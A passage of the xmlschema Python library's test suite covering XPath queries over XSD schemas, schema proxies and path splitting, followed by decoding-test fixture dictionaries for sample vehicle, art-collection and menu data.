= XMLSchemaProxy(self.xs1) context = schema_proxy.get_context() self.assertIs(context.root.value, self.xs1) def test_get_type_method(self): schema_proxy = XMLSchemaProxy(self.xs1) qname = '{%s}vehicleType' % self.xs1.target_namespace self.assertIs(schema_proxy.get_type(qname), self.xs1.types['vehicleType']) qname = '{%s}unknown' % self.xs1.target_namespace self.assertIsNone(schema_proxy.get_type(qname)) def test_get_attribute_method(self): schema_proxy = XMLSchemaProxy(self.xs1) qname = '{%s}step' % self.xs1.target_namespace self.assertIs(schema_proxy.get_attribute(qname), self.xs1.attributes['step']) qname = '{%s}unknown' % self.xs1.target_namespace self.assertIsNone(schema_proxy.get_attribute(qname)) def test_get_element_method(self): schema_proxy = XMLSchemaProxy(self.xs1) qname = '{%s}cars' % self.xs1.target_namespace self.assertIs(schema_proxy.get_element(qname), self.xs1.elements['cars']) qname = '{%s}unknown' % self.xs1.target_namespace self.assertIsNone(schema_proxy.get_element(qname)) def test_get_substitution_group_method(self): schema = XMLSchema11.meta_schema schema.build() schema_proxy = XMLSchemaProxy(schema) qname = '{%s}facet' % schema.target_namespace self.assertIs(schema_proxy.get_substitution_group(qname), schema.substitution_groups['facet']) qname = '{%s}unknown' % schema.target_namespace self.assertIsNone(schema_proxy.get_substitution_group(qname)) def test_find_method(self): schema_proxy = XMLSchemaProxy(self.xs1) qname = '{%s}cars' % self.xs1.target_namespace self.assertIs(schema_proxy.find(qname), self.xs1.elements['cars']) def test_is_instance_method(self): schema_proxy = XMLSchemaProxy(self.xs1) type_qname = '{%s}string' % self.xs1.meta_schema.target_namespace self.assertFalse(schema_proxy.is_instance(10, type_qname)) self.assertTrue(schema_proxy.is_instance('10', type_qname)) def test_cast_as_method(self): schema_proxy = XMLSchemaProxy(self.xs1) type_qname = '{%s}short' % self.xs1.meta_schema.target_namespace self.assertEqual(schema_proxy.cast_as('10', type_qname), 10) def test_iter_atomic_types_method(self): schema_proxy = XMLSchemaProxy(self.xs3) k = 0 for k, xsd_type in enumerate(schema_proxy.iter_atomic_types(), start=1): self.assertNotIn(XSD_NAMESPACE, xsd_type.name) self.assertIsInstance(xsd_type, (XsdAtomic, XsdAtomicRestriction)) self.assertGreater(k, 10) class XPathElementTest(unittest.TestCase): schema_class = XMLSchema10 col_xsd_path = None @classmethod def setUpClass(cls): cls.col_xsd_path = pathlib.Path(CASES_DIR).joinpath("examples/collection/collection.xsd") cls.col_schema = cls.schema_class(cls.col_xsd_path) def test_is_matching(self): # The mixin method is used by schema class but overridden for XSD components. # A schema has no formal name, so it takes the source's filename, if any. # This does not have effect on validation because schema is the root. self.assertEqual(self.col_schema.default_namespace, 'http://example.com/ns/collection') self.assertEqual(self.col_schema.name, 'collection.xsd') self.assertTrue(self.col_schema.is_matching('collection.xsd')) self.assertFalse( self.col_schema.is_matching('collection.xsd', 'http://example.com/ns/collection') ) def test_iteration(self): elem = XPathElement('foo', self.col_schema.types['objType']) self.assertListEqual( [child.name for child in elem], ['position', 'title', 'year', 'author', 'estimation', 'characters'] ) elem = XPathElement('foo', self.col_schema.builtin_types()['string']) self.assertListEqual(list(elem), []) def test_xpath_proxy(self): elem = XPathElement('foo', self.col_schema.types['objType']) xpath_proxy = elem.xpath_proxy self.assertIsInstance(xpath_proxy, XMLSchemaProxy) self.assertIs(xpath_proxy._schema, self.col_schema) def test_xpath_node(self): elem = XPathElement('foo', self.col_schema.types['objType']) xpath_node = elem.xpath_node self.assertIsInstance(xpath_node, LazyElementNode) self.assertIs(xpath_node, elem._xpath_node) self.assertIs(xpath_node, elem.xpath_node) def test_schema(self): elem = XPathElement('foo', self.col_schema.types['objType']) self.assertIs(elem.schema, self.col_schema) self.assertIs(elem.namespaces, self.col_schema.namespaces) def test_target_namespace(self): elem = XPathElement('foo', self.col_schema.types['objType']) self.assertEqual(elem.target_namespace, 'http://example.com/ns/collection') def test_xsd_version(self): elem = XPathElement('foo', self.col_schema.types['objType']) self.assertEqual(elem.xsd_version, self.col_schema.xsd_version) def test_maps(self): elem = XPathElement('foo', self.col_schema.types['objType']) self.assertIs(elem.maps, self.col_schema.maps) def test_elem_name(self): elem = XPathElement('foo', self.col_schema.types['objType']) try: elem.namespaces['col'] = 'http://example.com/ns/collection' self.assertEqual(elem.local_name, 'foo') self.assertEqual(elem.qualified_name, '{http://example.com/ns/collection}foo') self.assertEqual(elem.prefixed_name, 'foo') elem = XPathElement('{http://example.com/ns/collection}foo', self.col_schema.types['objType']) self.assertEqual(elem.local_name, 'foo') self.assertEqual(elem.qualified_name, '{http://example.com/ns/collection}foo') self.assertEqual(elem.prefixed_name, 'col:foo') finally: elem.namespaces.pop('col') class XMLSchemaXPathTest(unittest.TestCase): schema_class = XMLSchema10 xs1: XMLSchema10 @classmethod def setUpClass(cls): cls.xs1 = cls.schema_class(os.path.join(CASES_DIR, "examples/vehicles/vehicles.xsd")) cls.xs2 = cls.schema_class(os.path.join(CASES_DIR, "examples/collection/collection.xsd")) cls.cars = cls.xs1.elements['vehicles'].type.content[0] cls.bikes = cls.xs1.elements['vehicles'].type.content[1] def test_xpath_wrong_syntax(self): self.assertRaises(SyntaxError, self.xs1.find, './*[') self.assertRaises(SyntaxError, self.xs1.find, './*)') self.assertRaises(SyntaxError, self.xs1.find, './*3') self.assertRaises(SyntaxError, self.xs1.find, './@3') def test_xpath_extra_spaces(self): self.assertTrue(self.xs1.find('./ *') is not None) self.assertTrue(self.xs1.find("\t\n vh:vehicles / vh:cars / .. / vh:cars") == self.cars) def test_xpath_location_path(self): elements = sorted(self.xs1.elements.values(), key=lambda x: x.name) self.assertTrue(self.xs1.findall('.')) self.assertTrue(isinstance(self.xs1.find('.'), self.schema_class)) self.assertTrue(sorted(self.xs1.findall("*"), key=lambda x: x.name) == elements) self.assertListEqual(self.xs1.findall("*"), self.xs1.findall("./*")) self.assertEqual(self.xs1.find("./vh:bikes"), self.xs1.elements['bikes']) self.assertEqual(self.xs1.find("./vh:vehicles/vh:cars").name, self.xs1.elements['cars'].name) self.assertNotEqual(self.xs1.find("./vh:vehicles/vh:cars"), self.xs1.elements['cars']) self.assertNotEqual(self.xs1.find("/vh:vehicles/vh:cars"), self.xs1.elements['cars']) self.assertEqual(self.xs1.find("vh:vehicles/vh:cars/.."), self.xs1.elements['vehicles']) self.assertEqual(self.xs1.find("vh:vehicles/*/.."), self.xs1.elements['vehicles']) self.assertEqual(self.xs1.find("vh:vehicles/vh:cars/../vh:cars"), self.xs1.find("vh:vehicles/vh:cars")) def test_xpath_axis(self): self.assertEqual(self.xs1.find("vh:vehicles/child::vh:cars/.."), self.xs1.elements['vehicles']) def test_xpath_subscription(self): self.assertEqual(len(self.xs1.findall("./vh:vehicles/*")), 2) self.assertListEqual(self.xs1.findall("./vh:vehicles/*[2]"), [self.bikes]) self.assertListEqual(self.xs1.findall("./vh:vehicles/*[3]"), []) self.assertListEqual(self.xs1.findall("./vh:vehicles/*[last()-1]"), [self.cars]) self.assertListEqual(self.xs1.findall("./vh:vehicles/*[position()=last()]"), [self.bikes]) def test_xpath_group(self): self.assertEqual(self.xs1.findall("/(vh:vehicles/*/*)"), self.xs1.findall("/vh:vehicles/*/*")) self.assertEqual(self.xs1.findall("/(vh:vehicles/*/*)[1]"), self.xs1.findall("/vh:vehicles/*/*[1]")[:1]) def test_xpath_predicate(self): car = self.xs1.elements['cars'].type.content[0] self.assertListEqual(self.xs1.findall("./vh:vehicles/vh:cars/vh:car[@make]"), [car]) self.assertListEqual(self.xs1.findall("./vh:vehicles/vh:cars/vh:car[@make]"), [car]) self.assertListEqual(self.xs1.findall("./vh:vehicles/vh:cars['ciao']"), [self.cars]) self.assertListEqual(self.xs1.findall("./vh:vehicles/*['']"), []) def test_xpath_descendants(self): selector = Selector('.//xs:element', self.xs2.namespaces, parser=XPath1Parser) elements = list(selector.iter_select(self.xs2.root)) self.assertEqual(len(elements), 14) selector = Selector('.//xs:element|.//xs:attribute|.//xs:keyref', self.xs2.namespaces, parser=XPath1Parser) elements = list(selector.iter_select(self.xs2.root)) self.assertEqual(len(elements), 17) def test_xpath_issues(self): namespaces = {'ps': "http://schemas.microsoft.com/powershell/2004/04"} selector = Selector("./ps:Props/*|./ps:MS/*", namespaces=namespaces, parser=XPath1Parser) self.assertTrue(selector.root_token.tree, '(| (/ (/ (.) (: (ps) (Props))) (*)) (/ (/ (.) (: (ps) (MS))) (*)))') def test_get(self): xsd_element = self.xs1.elements['vehicles'] self.assertIsNone(xsd_element.get('unknown')) self.assertEqual(xsd_element[0][0].get('model'), xsd_element[0][0].attributes['model']) def test_getitem(self): xsd_element = self.xs1.elements['vehicles'] self.assertEqual(xsd_element[0], xsd_element.type.content[0]) self.assertEqual(xsd_element[1], xsd_element.type.content[1]) with self.assertRaises(IndexError): _ = xsd_element[2] def test_reversed(self): xsd_element = self.xs1.elements['vehicles'] self.assertListEqual( list(reversed(xsd_element)), [xsd_element.type.content[1], xsd_element.type.content[0]] ) def test_iterfind(self): car = self.xs1.find('//vh:car') bike = self.xs1.find('//vh:bike') self.assertIsNotNone(car) self.assertIsNotNone(bike) self.assertListEqual(list(self.xs1.iterfind("/(vh:vehicles/*/*)")), [car, bike]) def test_iter(self): xsd_element = self.xs1.elements['vehicles'] descendants = list(xsd_element.iter()) self.assertListEqual(descendants, [xsd_element] + xsd_element.type.content[:]) descendants = list(xsd_element.iter('*')) self.assertListEqual(descendants, [xsd_element] + xsd_element.type.content[:]) descendants = list(xsd_element.iter(self.xs1.elements['cars'].name)) self.assertListEqual(descendants, [xsd_element.type.content[0]]) def test_iterchildren(self): children = list(self.xs1.elements['vehicles'].iterchildren()) self.assertListEqual(children, self.xs1.elements['vehicles'].type.content[:]) children = list(self.xs1.elements['vehicles'].iterchildren('*')) self.assertListEqual(children, self.xs1.elements['vehicles'].type.content[:]) children = list(self.xs1.elements['vehicles'].iterchildren(self.xs1.elements['bikes'].name)) self.assertListEqual(children, self.xs1.elements['vehicles'].type.content[1:]) class XPathSelectorsTest(unittest.TestCase): def test_rel_xpath_boolean(self): root = ElementTree.XML('') el = root[0] self.assertTrue(Selector('boolean(C)').iter_select(el)) self.assertFalse(next(Selector('boolean(D)').iter_select(el))) def test_split_path(self): path = '/md:EntitiesDescriptor/md:EntityDescriptor[@entityID="https://xmlschema.test"]' result = '/md:EntitiesDescriptor/md:EntityDescriptor[@entityID="https://xmlschema.test"]' self.assertEqual(''.join(split_path(path)), result) path = 'md:EntitiesDescriptor/md:EntityDescriptor[@entityID="https://xmlschema.test"]' result = 'md:EntitiesDescriptor/md:EntityDescriptor[@entityID="https://xmlschema.test"]' self.assertEqual(''.join(split_path(path)), result) namespaces = {'': 'foo'} self.assertEqual(''.join(split_path(path, namespaces)), result) path = '/A/B/C' self.assertEqual(''.join(split_path(path)), '/A/B/C') self.assertEqual(''.join(split_path(path, namespaces)), '/{foo}A/{foo}B/{foo}C') path = 'A/B/C' self.assertEqual(''.join(split_path(path)), 'A/B/C') self.assertEqual(''.join(split_path(path, namespaces)), '{foo}A/{foo}B/{foo}C') path = 'A/{}B/C[@D="1"]' self.assertEqual(''.join(split_path(path)), 'A/{}B/C[@D="1"]') self.assertEqual(''.join(split_path(path, namespaces)), '{foo}A/{}B/{foo}C[@D="1"]') path = 'A/{bar}B/C[@D="1"]' self.assertEqual(''.join(split_path(path)), 'A/{bar}B/C[@D="1"]') self.assertEqual(''.join(split_path(path, namespaces)), '{foo}A/{bar}B/{foo}C[@D="1"]') path = 'A/p:B/C[@D="1"]/E' self.assertEqual(''.join(split_path(path)), 'A/p:B/C[@D="1"]/E') self.assertEqual(''.join(split_path(path, namespaces)), '{foo}A/p:B/{foo}C[@D="1"]/{foo}E') def test_split_path_parts(self): path = '/md:EntitiesDescriptor/md:EntityDescriptor[@entityID="https://xmlschema.test"]' result = ['/', 'md:EntitiesDescriptor', '/', 'md:EntityDescriptor', '[', '@', 'entityID', '=', '"https://xmlschema.test"', ']'] self.assertListEqual(list(split_path(path)), result) path = '/A/B/C' result = ['/', '{foo}A', '/', '{foo}B', '/', '{foo}C'] namespaces = {'': 'foo'} self.assertEqual(list(split_path(path, namespaces)), result) self.assertEqual(list(split_path(path)), ['/', 'A', '/', 'B', '/', 'C']) path = 'A/B/C' self.assertEqual(list(split_path(path)), ['A', '/', 'B', '/', 'C']) self.assertEqual(list(split_path(path, namespaces)), result[1:]) path = 'A/{}B/C[@D="1"]' result = ['A', '/', '{}B', '/', 'C', '[', '@', 'D', '=', '"1"', ']'] self.assertEqual(list(split_path(path)), result) self.assertEqual(list(split_path(path, namespaces)), ['{foo}A', '/', '{}B', '/', '{foo}C', '[', '@', 'D', '=', '"1"', ']']) path = 'A/{bar}B/C[@D="1"]' self.assertEqual( list(split_path(path)), ['A', '/', '{bar}B', '/', 'C', '[', '@', 'D', '=', '"1"', ']'] ) self.assertEqual( list(split_path(path, namespaces)), ['{foo}A', '/', '{bar}B', '/', '{foo}C', '[', '@', 'D', '=', '"1"', ']'] ) path = 'A/p:B/C[@D="1"]/E' self.assertEqual( list(split_path(path)), ['A', '/', 'p:B', '/', 'C', '[', '@', 'D', '=', '"1"', ']', '/', 'E'] ) self.assertEqual( list(split_path(path, namespaces)), ['{foo}A', '/', 'p:B', '/', '{foo}C', '[', '@', 'D', '=', '"1"', ']', '/', '{foo}E'] ) self.assertEqual( list(split_path(path, namespaces, extended_names=True)), ['{foo}A', '/', 'p:B', '/', '{foo}C', '[', '@', 'D', '=', '"1"', ']', '/', '{foo}E'] ) namespaces = {'': 'foo', 'p': 'bar'} self.assertEqual( list(split_path(path, namespaces, extended_names=True)), ['{foo}A', '/', '{bar}B', '/', '{foo}C', '[', '@', 'D', '=', '"1"', ']', '/', '{foo}E'] ) path = 'A//p:B/C[2]/E' self.assertEqual( list(split_path(path)), ['A', '//', 'p:B', '/', 'C', '[', '2', ']', '/', 'E'] ) self.assertEqual( list(split_path(path, namespaces)), ['{foo}A', '//', 'p:B', '/', '{foo}C', '[', '2', ']', '/', '{foo}E'] ) self.assertEqual(list(split_path('.')), ['.']) self.assertEqual(list(split_path('*/b')), ['*', '/', 'b']) def test_element_selector(self): selector = ElementSelector('*') self.assertEqual(list(selector.parts), ['*']) if __name__ == '__main__': from xmlschema.testing import run_xmlschema_tests run_xmlschema_tests('XPath processor') xmlschema-4.1.0/tests/test_xsd_testfiles.py000066400000000000000000000030261502040105500211210ustar00rootroot00000000000000#!/usr/bin/env python # # Copyright (c), 2016-2025, SISSA (International School for Advanced Studies). # All rights reserved. # This file is distributed under the terms of the MIT License. # See the file 'LICENSE' in the root directory of the present # distribution, or http://opensource.org/licenses/MIT. # # @author Davide Brunato # """Tests concerning the parsing and the building of XSD schemas""" import sys from pathlib import Path from xmlschema.testing import xmlschema_tests_factory, make_schema_test_class if __name__ == '__main__': import random from xmlschema.testing import parse_xmlschema_args, run_xmlschema_tests def load_tests(_loader, tests, _pattern): if args.random: tests._tests.sort(key=lambda x: random.randint(0, 0xFFFFFFFF)) # noqa return tests args = parse_xmlschema_args() validation_tests = xmlschema_tests_factory( test_class_builder=make_schema_test_class, testfiles=args.testfiles, suffix='xsd', check_with_lxml=args.lxml, codegen=args.codegen, verbosity=args.verbosity, ) globals().update(validation_tests) run_xmlschema_tests('schema building cases', args) elif sys.argv and not sys.argv[0].endswith('run_all_tests.py'): testfiles = Path(__file__).absolute().parent.joinpath('test_cases/testfiles') schema_tests = xmlschema_tests_factory( test_class_builder=make_schema_test_class, suffix='xsd', testfiles=testfiles, ) globals().update(schema_tests) xmlschema-4.1.0/tests/validation/000077500000000000000000000000001502040105500167615ustar00rootroot00000000000000xmlschema-4.1.0/tests/validation/__init__.py000066400000000000000000000000001502040105500210600ustar00rootroot00000000000000xmlschema-4.1.0/tests/validation/test_decoding.py000066400000000000000000002323671502040105500221630ustar00rootroot00000000000000# !/usr/bin/env python # # Copyright (c), 2016-2020, SISSA (International School for Advanced Studies). # All rights reserved. # This file is distributed under the terms of the MIT License. # See the file 'LICENSE' in the root directory of the present # distribution, or http://opensource.org/licenses/MIT. # # @author Davide Brunato # import unittest import os import base64 import json import math import pathlib from decimal import Decimal from collections.abc import MutableMapping, MutableSequence, Set from textwrap import dedent from xml.etree import ElementTree try: import lxml.etree as lxml_etree except ImportError: lxml_etree = None from elementpath import datatypes import xmlschema from xmlschema import XMLSchemaValidationError, ParkerConverter, BadgerFishConverter, \ AbderaConverter, JsonMLConverter, ColumnarConverter, ElementData from xmlschema.names import XSD_STRING, XSI_NIL from xmlschema.converters import UnorderedConverter from xmlschema.validators import XMLSchema11, ModelVisitor from xmlschema.testing import XsdValidatorTestCase, etree_elements_assert_equal VEHICLES_DICT = { '@xmlns:vh': 'http://example.com/vehicles', '@xmlns:xsi': 'http://www.w3.org/2001/XMLSchema-instance', '@xsi:schemaLocation': 'http://example.com/vehicles vehicles.xsd', 'vh:cars': { 'vh:car': [ {'@make': 'Porsche', '@model': '911'}, {'@make': 'Porsche', '@model': '911'} ]}, 'vh:bikes': { 'vh:bike': [ {'@make': 'Harley-Davidson', '@model': 'WL'}, {'@make': 'Yamaha', '@model': 'XS650'} ]} } VEHICLES_DICT_ALT = [ {'vh:cars': [ {'vh:car': None, '@make': 'Porsche', '@model': '911'}, {'vh:car': None, '@make': 'Porsche', '@model': '911'} ]}, {'vh:bikes': [ {'vh:bike': None, '@make': 'Harley-Davidson', '@model': 'WL'}, {'vh:bike': None, '@make': 'Yamaha', '@model': 'XS650'} ]}, {'@xsi:schemaLocation': 'http://example.com/vehicles vehicles.xsd'} ] VEHICLES_DICT_OVERRIDE_PREFIX_1 = { '@xmlns:vh': 'http://example.com/vehicles', '@xmlns:vh2': 'http://example.com/vehicles', '@xmlns:xsi': 'http://www.w3.org/2001/XMLSchema-instance', '@xsi:schemaLocation': 'http://example.com/vehicles vehicles.xsd', 'vh2:cars': { 'vh2:car': [ {'@make': 'Porsche', '@model': '911'}, {'@make': 'Porsche', '@model': '911'} ]}, 'vh2:bikes': { 'vh2:bike': [ {'@make': 'Harley-Davidson', '@model': 'WL'}, {'@make': 'Yamaha', '@model': 'XS650'} ]} } VEHICLES_DICT_OVERRIDE_PREFIX_2 = { '@xmlns': 'http://example.com/vehicles', '@xmlns:vh': 'http://example.com/vehicles', '@xmlns:vh-alt': 'http://example.com/vehicles', '@xmlns:xsi': 'http://www.w3.org/2001/XMLSchema-instance', '@xsi:schemaLocation': 'http://example.com/vehicles vehicles.xsd', 'vh-alt:cars': { 'vh-alt:car': [ {'@make': 'Porsche', '@model': '911'}, {'@make': 'Porsche', '@model': '911'} ]}, 'vh-alt:bikes': { 'vh-alt:bike': [ {'@make': 'Harley-Davidson', '@model': 'WL'}, {'@make': 'Yamaha', '@model': 'XS650'} ]} } VEHICLES_DICT_OVERRIDE_PREFIX_3 = { '@xmlns': 'http://example.com/vehicles', '@xmlns:vh': 'http://example.com/vehicles', '@xmlns:xsi': 'http://www.w3.org/2001/XMLSchema-instance', '@xsi:schemaLocation': 'http://example.com/vehicles vehicles.xsd', 'cars': { 'car': [ {'@make': 'Porsche', '@model': '911'}, {'@make': 'Porsche', '@model': '911'} ]}, 'bikes': { 'bike': [ {'@make': 'Harley-Davidson', '@model': 'WL'}, {'@make': 'Yamaha', '@model': 'XS650'} ]} } COLLECTION_DICT = { '@xmlns:col': 'http://example.com/ns/collection', '@xmlns:xsi': 'http://www.w3.org/2001/XMLSchema-instance', '@xsi:schemaLocation': 'http://example.com/ns/collection collection.xsd', 'object': [{ '@available': True, '@id': 'b0836217462', 'author': { '@id': 'PAR', 'born': '1841-02-25', 'dead': '1919-12-03', 'name': 'Pierre-Auguste Renoir', 'qualification': 'painter' }, 'estimation': Decimal('10000.00'), 'position': 1, 'title': 'The Umbrellas', 'year': '1886'}, { '@available': True, '@id': 'b0836217463', 'author': { '@id': 'JM', 'born': '1893-04-20', 'dead': '1983-12-25', 'name': 'Joan MirĂ³', 'qualification': 'painter, sculptor and ceramicist' }, 'position': 2, 'title': None, 'year': '1925' }] } MENU_DICT = { '@xmlns:xsi': 'http://www.w3.org/2001/XMLSchema-instance', '@xsi:noNamespaceSchemaLocation': 'menĂ¹.xsd', 'antipasto': ['Affettati misti', 'Bruschetta', 'Polenta e funghi'], 'primo': ['Lasagne', 'Gnocchi al ragĂ¹', 'Risotto allo zafferano'], 'secondo': ['Tagliata di pollo', 'Cotoletta alla milanese', 'Caprese'], 'dolce': ['Crostata ai mirtilli', 'TiramisĂ¹'] } COLLECTION_PARKER = { 'object': [{'author': {'born': '1841-02-25', 'dead': '1919-12-03', 'name': 'Pierre-Auguste Renoir', 'qualification': 'painter'}, 'estimation': 10000.0, 'position': 1, 'title': 'The Umbrellas', 'year': '1886'}, {'author': {'born': '1893-04-20', 'dead': '1983-12-25', 'name': 'Joan MirĂ³', 'qualification': 'painter, sculptor and ceramicist'}, 'position': 2, 'title': None, 'year': '1925'}]} COLLECTION_PARKER_ROOT = { 'col:collection': {'object': [{'author': {'born': '1841-02-25', 'dead': '1919-12-03', 'name': 'Pierre-Auguste Renoir', 'qualification': 'painter'}, 'estimation': 10000.0, 'position': 1, 'title': 'The Umbrellas', 'year': '1886'}, {'author': {'born': '1893-04-20', 'dead': '1983-12-25', 'name': 'Joan MirĂ³', 'qualification': 'painter, sculptor and ceramicist'}, 'position': 2, 'title': None, 'year': '1925'}]}} COLLECTION_BADGERFISH = { 'col:collection': { '@xsi:schemaLocation': 'http://example.com/ns/collection collection.xsd', '@xmlns': { 'col': 'http://example.com/ns/collection', 'xsi': 'http://www.w3.org/2001/XMLSchema-instance'}, 'object': [{ '@available': True, '@id': 'b0836217462', 'author': { '@id': 'PAR', 'born': {'$': '1841-02-25'}, 'dead': {'$': '1919-12-03'}, 'name': {'$': 'Pierre-Auguste Renoir'}, 'qualification': {'$': 'painter'}}, 'estimation': {'$': 10000.0}, 'position': {'$': 1}, 'title': {'$': 'The Umbrellas'}, 'year': {'$': '1886'}}, { '@available': True, '@id': 'b0836217463', 'author': { '@id': 'JM', 'born': {'$': '1893-04-20'}, 'dead': {'$': '1983-12-25'}, 'name': {'$': 'Joan MirĂ³'}, 'qualification': { '$': 'painter, sculptor and ceramicist'} }, 'position': {'$': 2}, 'title': {}, 'year': {'$': '1925'} }] } } COLLECTION_ABDERA = { 'col:collection': { 'attributes': { 'xsi:schemaLocation': 'http://example.com/ns/collection collection.xsd' }, 'children': [ { 'object': [ { 'attributes': {'available': True, 'id': 'b0836217462'}, 'children': [{ 'author': { 'attributes': {'id': 'PAR'}, 'children': [{ 'born': '1841-02-25', 'dead': '1919-12-03', 'name': 'Pierre-Auguste Renoir', 'qualification': 'painter'} ]}, 'estimation': 10000.0, 'position': 1, 'title': 'The Umbrellas', 'year': '1886'} ]}, { 'attributes': {'available': True, 'id': 'b0836217463'}, 'children': [{ 'author': { 'attributes': {'id': 'JM'}, 'children': [{ 'born': '1893-04-20', 'dead': '1983-12-25', 'name': 'Joan MirĂ³', 'qualification': 'painter, sculptor and ceramicist'} ]}, 'position': 2, 'title': [], 'year': '1925' }] }] } ]} } COLLECTION_JSON_ML = [ 'col:collection', {'xmlns:col': 'http://example.com/ns/collection', 'xmlns:xsi': 'http://www.w3.org/2001/XMLSchema-instance', 'xsi:schemaLocation': 'http://example.com/ns/collection collection.xsd'}, ['object', {'available': True, 'id': 'b0836217462'}, ['position', 1], ['title', 'The Umbrellas'], ['year', '1886'], [ 'author', {'id': 'PAR'}, ['name', 'Pierre-Auguste Renoir'], ['born', '1841-02-25'], ['dead', '1919-12-03'], ['qualification', 'painter'] ], [ 'estimation', Decimal('10000.00') ]], ['object', {'available': True, 'id': 'b0836217463'}, ['position', 2], ['title'], ['year', '1925'], [ 'author', {'id': 'JM'}, ['name', 'Joan MirĂ³'], ['born', '1893-04-20'], ['dead', '1983-12-25'], ['qualification', 'painter, sculptor and ceramicist'] ]] ] COLLECTION_COLUMNAR = { 'collection': { 'collectionxsi:schemaLocation': 'http://example.com/ns/collection collection.xsd', 'object': [{ 'objectid': 'b0836217462', 'objectavailable': True, 'position': 1, 'title': 'The Umbrellas', 'year': '1886', 'author': { 'authorid': 'PAR', 'name': 'Pierre-Auguste Renoir', 'born': '1841-02-25', 'dead': '1919-12-03', 'qualification': 'painter' }, 'estimation': Decimal('10000.00')}, { 'objectid': 'b0836217463', 'objectavailable': True, 'position': 2, 'title': None, 'year': '1925', 'author': { 'authorid': 'JM', 'name': 'Joan MirĂ³', 'born': '1893-04-20', 'dead': '1983-12-25', 'qualification': 'painter, sculptor and ceramicist' } }] } } COLLECTION_COLUMNAR_ = { 'collection': { 'collection_xsi:schemaLocation': 'http://example.com/ns/collection collection.xsd', 'object': [{ 'object_id': 'b0836217462', 'object_available': True, 'position': 1, 'title': 'The Umbrellas', 'year': '1886', 'author': { 'author_id': 'PAR', 'name': 'Pierre-Auguste Renoir', 'born': '1841-02-25', 'dead': '1919-12-03', 'qualification': 'painter' }, 'estimation': Decimal('10000.00')}, { 'object_id': 'b0836217463', 'object_available': True, 'position': 2, 'title': None, 'year': '1925', 'author': { 'author_id': 'JM', 'name': 'Joan MirĂ³', 'born': '1893-04-20', 'dead': '1983-12-25', 'qualification': 'painter, sculptor and ceramicist' } }] } } COLLECTION_XMLNS_PROCESSING_STACKED = { '@xmlns:col1': 'http://example.com/ns/collection', '@xmlns:col': 'http://xmlschema.test/ns', '@xmlns': 'http://xmlschema.test/ns', '@xmlns:xsi': 'http://www.w3.org/2001/XMLSchema-instance', '@xsi:schemaLocation': 'http://example.com/ns/collection collection5.xsd', 'col:object': [ {'@xmlns:col': 'http://example.com/ns/collection', '@id': 'b0836217462', '@available': True, 'col:position': 1, 'col:title': 'The Umbrellas', 'col:year': '1886', 'col:author': { '@id': 'PAR', 'col:name': 'Pierre-Auguste Renoir', 'col:born': '1841-02-25', 'col:dead': '1919-12-03', 'col:qualification': 'painter' }, 'col:estimation': Decimal('10000.00')}], 'object': [ {'@xmlns': 'http://example.com/ns/collection', '@id': 'b0836217463', '@available': True, 'position': 2, 'title': None, 'year': '1925', 'author': { '@id': 'JM', 'name': 'Joan MirĂ³', 'born': '1893-04-20', 'dead': '1983-12-25', 'qualification': 'painter, sculptor and ceramicist' }} ] } COLLECTION_XMLNS_PROCESSING_COLLAPSED = { '@xmlns': 'http://xmlschema.test/ns', '@xmlns:col': 'http://xmlschema.test/ns', '@xmlns:col0': 'http://example.com/ns/collection', '@xmlns:col1': 'http://example.com/ns/collection', '@xmlns:default': 'http://example.com/ns/collection', '@xmlns:xsi': 'http://www.w3.org/2001/XMLSchema-instance', '@xsi:schemaLocation': 'http://example.com/ns/collection collection5.xsd', 'col1:object': [ {'@id': 'b0836217462', '@available': True, 'col1:position': 1, 'col1:title': 'The Umbrellas', 'col1:year': '1886', 'col1:author': { '@id': 'PAR', 'col1:name': 'Pierre-Auguste Renoir', 'col1:born': '1841-02-25', 'col1:dead': '1919-12-03', 'col1:qualification': 'painter' }, 'col1:estimation': Decimal('10000.00')}, {'@id': 'b0836217463', '@available': True, 'col1:position': 2, 'col1:title': None, 'col1:year': '1925', 'col1:author': { '@id': 'JM', 'col1:name': 'Joan MirĂ³', 'col1:born': '1893-04-20', 'col1:dead': '1983-12-25', 'col1:qualification': 'painter, sculptor and ceramicist' }} ] } COLLECTION_XMLNS_PROCESSING_ROOT_ONLY = { '@xmlns': 'http://xmlschema.test/ns', '@xmlns:col': 'http://xmlschema.test/ns', '@xmlns:col1': 'http://example.com/ns/collection', '@xmlns:xsi': 'http://www.w3.org/2001/XMLSchema-instance', '@xsi:schemaLocation': 'http://example.com/ns/collection collection5.xsd', 'col1:object': [ {'@id': 'b0836217462', '@available': True, 'col1:position': 1, 'col1:title': 'The Umbrellas', 'col1:year': '1886', 'col1:author': { '@id': 'PAR', 'col1:name': 'Pierre-Auguste Renoir', 'col1:born': '1841-02-25', 'col1:dead': '1919-12-03', 'col1:qualification': 'painter' }, 'col1:estimation': Decimal('10000.00')}, {'@id': 'b0836217463', '@available': True, 'col1:position': 2, 'col1:title': None, 'col1:year': '1925', 'col1:author': { '@id': 'JM', 'col1:name': 'Joan MirĂ³', 'col1:born': '1893-04-20', 'col1:dead': '1983-12-25', 'col1:qualification': 'painter, sculptor and ceramicist' }} ] } COLLECTION_XMLNS_PROCESSING_NONE = { '@xmlns:col-alt': 'http://example.com/ns/collection', '@xmlns:xsi-alt': 'http://www.w3.org/2001/XMLSchema-instance', '@xsi-alt:schemaLocation': 'http://example.com/ns/collection collection5.xsd', 'col-alt:object': [ {'@id': 'b0836217462', '@available': True, 'col-alt:position': 1, 'col-alt:title': 'The Umbrellas', 'col-alt:year': '1886', 'col-alt:author': { '@id': 'PAR', 'col-alt:name': 'Pierre-Auguste Renoir', 'col-alt:born': '1841-02-25', 'col-alt:dead': '1919-12-03', 'col-alt:qualification': 'painter' }, 'col-alt:estimation': Decimal('10000.00')}, {'@id': 'b0836217463', '@available': True, 'col-alt:position': 2, 'col-alt:title': None, 'col-alt:year': '1925', 'col-alt:author': { '@id': 'JM', 'col-alt:name': 'Joan MirĂ³', 'col-alt:born': '1893-04-20', 'col-alt:dead': '1983-12-25', 'col-alt:qualification': 'painter, sculptor and ceramicist' }} ] } DATA_DICT = { '@xmlns:ns': 'ns', '@xmlns:xsi': 'http://www.w3.org/2001/XMLSchema-instance', '@xsi:schemaLocation': 'ns ./simple-types.xsd', 'certification': [ {'$': 'ISO-9001', '@Year': 1999}, {'$': 'ISO-27001', '@Year': 2009} ], 'decimal_value': [Decimal('1')], 'hexbin': 'AABBCCDD', 'menĂ¹': 'baccalĂ  mantecato', 'qname': 'ns:foo', 'complex_boolean': [ {'$': True, '@Type': 2}, {'$': False, '@Type': 1}, True, False ], 'simple_boolean': [True, False], 